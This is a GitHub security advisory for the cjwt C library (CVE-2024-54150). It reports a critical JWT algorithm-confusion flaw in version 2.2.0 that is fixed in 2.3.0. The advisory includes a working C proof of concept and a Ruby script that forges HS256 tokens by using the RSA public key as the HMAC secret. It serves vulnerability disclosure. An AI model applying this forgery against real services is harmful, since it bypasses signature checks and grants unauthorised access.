Skip to content

Algorithm Confusion Vulnerability

Critical
schmidtw published GHSA-9h24-7qp5-gp82 Dec 19, 2024

Package

cjwt

Affected versions

v2.2.0

Patched versions

v2.3.0

Description

Summary

I'm looking at algorithm confusion vulnerabilities across a few Github repo. It seems like your library is vulnerable to this attack.

Details

Algorithm confusion occurs when a system improperly verifies the type of signature used, allowing attackers to exploit the lack of distinction between signing methods.

If the system doesn't differentiate between an HMAC signed token and an RS/EC/PS signed token during verification, it becomes vulnerable to this kind of attack. For instance, an attacker could craft a token with the alg field set to "HS256" while the server expects an asymmetric algorithm like "RS256". The server might mistakenly use the wrong verification method, such as using a public key as the HMAC secret, leading to unauthorised access.

For RSA, the key can be computed from a few signatures. For Elliptic Curve (EC), two potential keys can be recovered from one signature.

PoC

The code below illustrates the issue:

#include <stddef.h>
#include <stdint.h>
#include <string.h>

#include "cjwt.h"
int main(void)
{
    cjwt_t *jwt = NULL;
    cjwt_code_t rv;

    /* the ps variant is very similar */
    const char *rs_text =
        /* header */
        "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg."
        /* payload */
        "eyJzdWIiOiIxMjM0NTY3ODkwIiwibGlicmFyeSI6Imh0dHBzOi8vZ2l"
        "0aHViLmNvbS94bWlkdC1vcmcvY2p3dCIsImlhdCI6MTUxNjIzOTAyMn0."
        /* signature */
        "dCJQACrMVrIMf2Jc6s2S_ABf46Csdqmqv-ZNMrTQhPM";
        /*
        "e-pFjFcKyrWa6ODgkclHe26EEF6AkI-xaW6J-Z37IdfygRKmgqy5cIz"
        "hjIGBPQg2aJGrPmCc5zP-zeK1M98odo5OCxCDdfQsKTtJJlCIVC2Iv1"
        "CaZDc-dTNnmjZE6PBM9fzwhXd5ESNjSxhtHSt8_9gFmogaixcxD1D7A"
        "nSJ1kl-o9yVK2vBRTHfFEyx5npUGbuNGSdIcoUHQUvL3B55XhQW_IlT"
        "moYUjBKAg0Mqk1HAhzQ-ZXz2C6Ptopx9ga3ccK4QmXnUHwo_bRF7eIh"
        "WweMfy_JM7pNGZc1VGa0hCpp-Axwq3CZfwLL0DY7ohcSYfJN_4d4Qn7"
        "2S8EHKg_E5Ng"; */
    const char *rs_pub_key =
        "-----BEGIN PUBLIC KEY-----\n"
        "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnzyis1ZjfNB0bBgKFMSv\n"
        "vkTtwlvBsaJq7S5wA+kzeVOVpVWwkWdVha4s38XM/pa/yr47av7+z3VTmvDRyAHc\n"
        "aT92whREFpLv9cj5lTeJSibyr/Mrm/YtjCZVWgaOYIhwrXwKLqPr/11inWsAkfIy\n"
        "tvHWTxZYEcXLgAXFuUuaS3uF9gEiNQwzGTU1v0FqkqTBr4B8nW3HCN47XUu0t8Y0\n"
        "e+lf4s4OxQawWD79J9/5d3Ry0vbV3Am1FtGJiJvOwRsIfVChDpYStTcHTCMqtvWb\n"
        "V6L11BWkpzGXSW4Hv43qa+GSYOD2QU68Mb59oSk2OB+BtOLpJofmbGEGgvmwyCI9\n"
        "MwIDAQAB\n"
        "-----END PUBLIC KEY-----";

    rv = cjwt_decode(rs_text, strlen(rs_text), 0,
                     (uint8_t *) rs_pub_key, strlen(rs_pub_key), 0, 0, &jwt);

    if (CJWTE_OK != rv) {
        printf("There was an error processing the text: %d\n", rv);
        return -1;
    }

    cjwt_print(stdout, jwt);

    cjwt_destroy(jwt);

    return 0;
}

There isn't much to see since it's just like verifying a token using HMAC but the signature is computed using HMAC of the public key.

You can use the following Ruby to generate a token using the public key from examples/basic/rs_example.c:

require 'openssl'
require 'base64'

secret_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnzyis1ZjfNB0bBgKFMSv\nvkTtwlvBsaJq7S5wA+kzeVOVpVWwkWdVha4s38XM/pa/yr47av7+z3VTmvDRyAHc\naT92whREFpLv9cj5lTeJSibyr/Mrm/YtjCZVWgaOYIhwrXwKLqPr/11inWsAkfIy\ntvHWTxZYEcXLgAXFuUuaS3uF9gEiNQwzGTU1v0FqkqTBr4B8nW3HCN47XUu0t8Y0\ne+lf4s4OxQawWD79J9/5d3Ry0vbV3Am1FtGJiJvOwRsIfVChDpYStTcHTCMqtvWb\nV6L11BWkpzGXSW4Hv43qa+GSYOD2QU68Mb59oSk2OB+BtOLpJofmbGEGgvmwyCI9\nMwIDAQAB\n-----END PUBLIC KEY-----"

message = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg.eyJzdWIiOiIxMjM0NTY3ODkwIiwibGlicmFyeSI6Imh0dHBzOi8vZ2l0aHViLmNvbS94bWlkdC1vcmcvY2p3dCIsImlhdCI6MTUxNjIzOTAyMn0"

hmac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret_key, message)

signature_base64 = Base64.urlsafe_encode64(hmac, padding: false)

# Print the signature
puts "Signature (Base64): #{signature_base64}"
puts message+'.'+signature_base64

From my (limited) understanding of your codebase, a good way to fix the issue would be to force people to set the allowed algorithms as part of the options. For example, by only accepting HMAC (most likely usage) by default and developers can use options to allow RS*/ES*/PS* depending on their needs.

Impact

This can be used to bypass the signature mechanism if an application relies on asymmetrically signed tokens.

Severity

Critical

CVE ID

CVE-2024-54150

Weaknesses

Improper Verification of Cryptographic Signature

The product does not verify, or incorrectly verifies, the cryptographic signature for data. Learn more on MITRE.

Credits